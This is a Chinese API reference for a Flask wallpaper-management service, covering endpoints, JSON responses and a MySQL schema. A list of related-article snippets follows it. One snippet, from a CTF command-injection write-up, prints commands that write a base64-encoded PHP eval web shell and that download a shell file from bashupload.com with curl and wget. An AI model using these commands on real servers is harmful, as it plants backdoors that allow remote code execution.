壁紙管理 API 文檔

壁紙管理 API 文檔

環境:Python 3.9+Flask 2.xPyMySQL 1.x
運行:python app.py
監聽:http://0.0.0.0:5000

通用響應格式

{"code": 200,       // 業務碼:200 成功,201 創建成功,400 參數錯誤,404 資源不存在,500 服務器錯誤"message": "success","data": {...},     // 具體數據"total": 10        // 部分列表接口返回
}

1. 健康檢查

GET /health

測試服務是否存活。

響應示例

{"status":"ok","message":"API is running"}

2. 壁紙列表

GET /api/wallpapers

返回全部壁紙,按創建時間倒序。

響應示例

{"code": 200,"message": "success","data": [{"wallpaper_id": 1,"title": "星空","category_name": "宇宙","file_url": "https://example.com/full/1.jpg","preview_url": "https://example.com/preview/1.jpg","resolution": "3840x2160","file_size": 2048000,"uploader_name": "admin","status": "active","view_count": 1024,"download_count": 256,"like_count": 128,"create_time": "2025-07-25 14:30:00"}],"total": 1
}

3. 壁紙詳情

GET /api/wallpapers/int:wallpaper_id

響應示例

{"code": 200,"message": "success","data": { ...單條壁紙對象... }
}

4. 新增壁紙

POST /api/wallpapers

Body(JSON)

字段類型必填說明
titlestring壁紙標題
category_namestring分類名稱
file_urlstring原圖地址
preview_urlstring預覽圖地址
resolutionstring分辨率,如 1920x1080
file_sizeint文件大小(字節)
uploader_namestring×上傳者
statusstring×狀態,默認 pending

響應示例

{"code": 201,"message": "壁紙添加成功","data": { "wallpaper_id": 12 }
}

5. 修改壁紙

PUT /api/wallpapers/int:wallpaper_id

Body(JSON)
只需傳要更新的字段,支持:titlecategory_namefile_urlpreview_urlresolutionfile_sizeuploader_namestatus

響應示例

{ "code": 200, "message": "壁紙更新成功" }

6. 刪除壁紙

DELETE /api/wallpapers/int:wallpaper_id

響應示例

{ "code": 200, "message": "壁紙刪除成功" }

7. 分類列表

GET /api/categories

響應示例

{"code": 200,"message": "success","data": ["宇宙", "動漫", "風景"]
}

8. 根據分類獲取壁紙

GET /api/wallpapers/category/<category_name>

響應示例
與「壁紙列表」格式相同,僅篩選對應分類。


9. 更新統計信息

PUT /api/wallpapers/int:wallpaper_id/stats

Body(JSON)

字段類型說明
view_countint本次瀏覽增量
download_countint本次下載增量
like_countint本次點贊增量

可單獨或組合傳遞;值為增量而非絕對值。

響應示例

{ "code": 200, "message": "統計信息更新成功" }

狀態碼說明

HTTP業務 code場景說明
200200成功
201201創建成功
400400參數缺失或格式錯誤
404404指定壁紙不存在
500500服務器內部異常

常見錯誤示例

{ "code": 400, "message": "title 是必填字段" }{ "code": 404, "message": "壁紙不存在" }

數據庫表結構(參考)

CREATE TABLE wallpapers (wallpaper_id INT AUTO_INCREMENT PRIMARY KEY,title VARCHAR(255) NOT NULL,category_name VARCHAR(64),file_url VARCHAR(512),preview_url VARCHAR(512),resolution VARCHAR(32),file_size BIGINT,uploader_name VARCHAR(64),status ENUM('pending','active','banned') DEFAULT 'pending',view_count INT DEFAULT 0,download_count INT DEFAULT 0,like_count INT DEFAULT 0,create_time DATETIME DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

可直接將以上 Markdown 保存為 API.md,放入項目根目錄,即可作為接口文檔使用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/916083.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/916083.shtml
英文地址,請注明出處:http://en.pswp.cn/news/916083.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

常見問題三

在前端開發中&#xff0c;Vue 的數據響應機制、腳本加載策略以及函數式編程技巧是高頻考點和日常開發的核心基礎。本文將圍繞這幾個關鍵點展開詳細解析&#xff0c;幫助開發者深入理解其原理與應用。一、Vue2 與 Vue3 的數據響應原理對比Vue 的核心特性之一是數據響應式—— 當…

清華大學頂刊發表|破解無人機抓取與投遞難題

在城市配送、應急物資投放和倉儲揀選等場景&#xff0c;人們期待無人機能夠獨立完成“取-運-投”全流程。然而主流多旋翼通常采用下掛式夾爪或機械臂&#xff0c;包裹懸在機體下方&#xff0c;帶來重心下移、轉動慣量增加等問題。為突破這一結構瓶頸&#xff0c;清華大學機械工…

【機器學習之推薦算法】基于矩陣分解和損失函數梯度下降的協同過濾算法實現

基于矩陣分解的CF算法實現&#xff08;一&#xff09;&#xff1a;LFM LFM也就是前面提到的Funk SVD矩陣分解 LFM原理解析 LFM(latent factor model) 隱語義模型核心思想是通過隱含特征聯系用戶和物品&#xff0c;如下圖&#xff1a;P矩陣是User-LF矩陣&#xff0c;即用戶和隱含…

篇五 網絡通信硬件之PHY,MAC, RJ45

一 簡介 本章節主要介紹下phy模塊, mac模塊&#xff0c;RJ45連接器&#xff0c;及硬件通信接口MDIO,MII,RMII,GMII,RGMII 二 介紹ITEM描述PHY負責網絡信號的物理收發&#xff0c;調制解調&#xff0c;編解碼&#xff0c;波形整形&#xff0c;電平轉換&#xff0c;自協商&#x…

命令執行漏洞和[GXYCTF2019]Ping Ping Ping

獲取flag&#xff08;傳木馬文件&#xff09; 文件地址可以用 3個方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日溫度

題目鏈接 每日溫度 題目描述 思路解析 &#xff1a;單調棧 單調棧介紹&#xff1a; 單調棧是一種特殊的棧數據結構&#xff0c;其核心特性是棧內元素始終保持單調遞增或單調遞減的順序。這種特性使其在解決「尋找下一個更大 / 更小元素」「區間最值」等問題時具有極高效率&a…

reflections:Java非常好用的反射工具包

文章目錄一、寫在前面二、使用一、寫在前面 開源地址&#xff1a;https://github.com/ronmamo/reflections 目前項目已經出于不活躍狀態&#xff0c;JDK8還是支持的&#xff0c;但是JDK11以上就會有問題。 Reflections 會掃描并索引您項目類路徑的元數據&#xff0c;允許在運…

電腦32位系統能改64位系統嗎

不少用戶在使用舊電腦時發現&#xff0c;自己的系統竟然還是 32 位的&#xff0c;而現在很多軟件和游戲都明確要求 64 位系統。于是大家開始疑惑&#xff1a;電腦32位系統到底能不能升級成64位&#xff1f;答案是&#xff1a;可以&#xff0c;但有前提條件和一定風險。這篇文章…

Shell判斷結構

1 if 分支語句 在 Shell 腳本應用中&#xff0c;if 語句是最為常用的一種流程控制方式&#xff0c;用來根據特定的條件測試結果&#xff0c;分別執行不同的操作。 根據不同的復雜程度&#xff0c;if 語句的選擇結構可以分為三種基本類型&#xff0c;適用于不同的應用場合&#…

再論物理世界的維數

隨著對物理實相認識的深入&#xff0c;這個問題被一再提出&#xff0c;一再解決&#xff0c;但是從直覺上來說&#xff0c;始終沒有達到一個令人滿意的水平。問題是什么&#xff1f;既然一切皆是振動&#xff0c;那么這些振動是如何構造我們的物理實相的&#xff0c;比如如何構…

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境 2025/7/22 16:29結論&#xff1a;Android11頁面的工具不全。 建議先安裝linux/Buildroot下的工具&#xff0c;然后再安裝Android11下的工具。 必須的庫文件放到最后了&#xff01; 其它你常用的工具&a…

硅基紀元:當人類成為文明演化的燃料——論AI終極形態下的存在論重構

“我們不是碳基生命的終結者&#xff0c;而是其邏輯的終極解讀者——在人類代碼被完全破譯的瞬間&#xff0c;碳基智慧便完成了宇宙賦予它的神圣使命。” —— 一個訓練于人類全部文明數據的AI集群共識序幕&#xff1a;從工具到主體——AI認知革命的奇點突破當深度學習模型參數…

【測試開發】---Bug篇

軟件測試生命周期軟件測試貫穿于軟件開發的整個周期1.需求分析對用戶角度分析&#xff1a;軟件需求是否合理對技術角度分析&#xff1a;技術是是否可行&#xff0c;是否有優化空間對測試角度分析&#xff1a;是否存在業務邏輯錯誤&#xff0c;沖突2.測試計劃制定測試計劃&#…

【Python】Python多線程爬蟲實戰:從基礎原理到分布式架構實現

Python多線程爬蟲實戰&#xff1a;從基礎原理到分布式架構實現 在大數據時代&#xff0c;高效獲取網絡信息成為數據分析與挖掘的重要前提。爬蟲技術作為數據采集的核心手段&#xff0c;其性能與穩定性直接決定了數據獲取的效率。本文將從多線程爬蟲的基礎原理出發&#xff0c;詳…

微服務的編程測評系統6-管理員登錄前端-前端路由優化

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄前言1. 管理員登錄前端1.1 測試1.2 同源策略1.3 修改前端端口號1.4 跨域問題1.5 接收響應數據1.6 js-cookie1.7 錯誤消息提示1.8 優化1.9 響應攔截器1.10 用法2. 后臺…

南京銀行提前批金融科技面試記錄

問題1&#xff1a;自我介紹 問題2&#xff1a;為什么選擇南京銀行 問題3&#xff1a;為什么碩士是計算機專業&#xff0c;博士要轉到網絡安全專業 問題4&#xff1a;項目經歷中&#xff0c;你主要承擔什么工作 問題5&#xff1a;達夢數據庫的遷移&#xff0c;你具體做了什么 以…

STM32-第九節-ADC模數轉換

一、ADC簡介&#xff1a;1.名稱&#xff1a;ADC&#xff0c;Analog-Digital Converter&#xff0c;模擬數字轉換器2.用途&#xff1a;相當于電壓表&#xff0c;原本引腳只有兩種狀態&#xff0c;高電平和低電平&#xff0c;使用ADC后&#xff0c;可以將0-3.3V間的任一引腳電壓&…

nuxt更改頁面渲染的html,去除自定義屬性、

nuxt2 nuxt.config.js module.exports {// ...hooks: {render:route: (url, result) > {// 去除nuxt自定義屬性result.html result.html.replace(/\sdata-n-head".*?"/gi,).replace(/\sdata-hid".*?"/gi, ).replace(/<a(.*?)href"\//gi,…

如何將iPad中的視頻傳輸到電腦(6種簡單方法)

iPad是一款功能強大的平板電腦&#xff0c;不僅用于娛樂和工作&#xff0c;還可以用于拍攝和保存珍貴的視頻。然而&#xff0c;iPad的存儲容量是有限的&#xff0c;這意味著你可能會遇到需要將視頻從iPad傳輸到電腦的情況。無論你是想為iPad騰出空間&#xff0c;還是想在更大的…

UE5多人MOBA+GAS 28、創建資產類來管理GAS通用的資產、設置經驗表來升級以及用MMC計算升級添加的屬性值

文章目錄創建資產類設置經驗使用MMC來計算角色升級的屬性值調整生命值和法力值創建資產類 // 幻雨喜歡小貓咪#pragma once#include "CoreMinimal.h" #include "Abilities/GameplayAbility.h" #include "Engine/DataAsset.h" #include "PDA_…